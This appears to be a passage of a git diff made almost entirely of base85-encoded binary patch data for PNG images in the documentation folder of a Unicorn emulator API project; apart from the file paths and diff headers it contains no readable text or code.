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∋F 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 J-tV^_{V!DYKKuXx literal 0 HcmV?d00001 diff --git a/ai_anti_malware/unicorn/unicorn-master/docs/Micro Unicorn-Engine API Documentation/API_Doc_Pic/ZtRKvUoaPTlshJ4.png b/ai_anti_malware/unicorn/unicorn-master/docs/Micro Unicorn-Engine API Documentation/API_Doc_Pic/ZtRKvUoaPTlshJ4.png new file mode 100644 index 0000000000000000000000000000000000000000..37c505c42decdb42b5a9911c65ec43237a3d4900 GIT binary patch literal 4501 zcma)=Yd8~b+{cy9IfVKrr&VSt#K^Hw6y_L`gy~N#3~eKG7=M+sO^qBkl0-RVh>@t6 zwXivF&SkP}IjlKr>*@dEd9Ld@ym;Q+*YCRS-}k!Te1G51^}AEAI$BE}P&gnaCMF57 zx$Gh)w!`>O?XhpqpYw{ZD?m(4#tU-!(lzvsg`3@VO4c$&>At<St8_&jX>o&(|3sz! 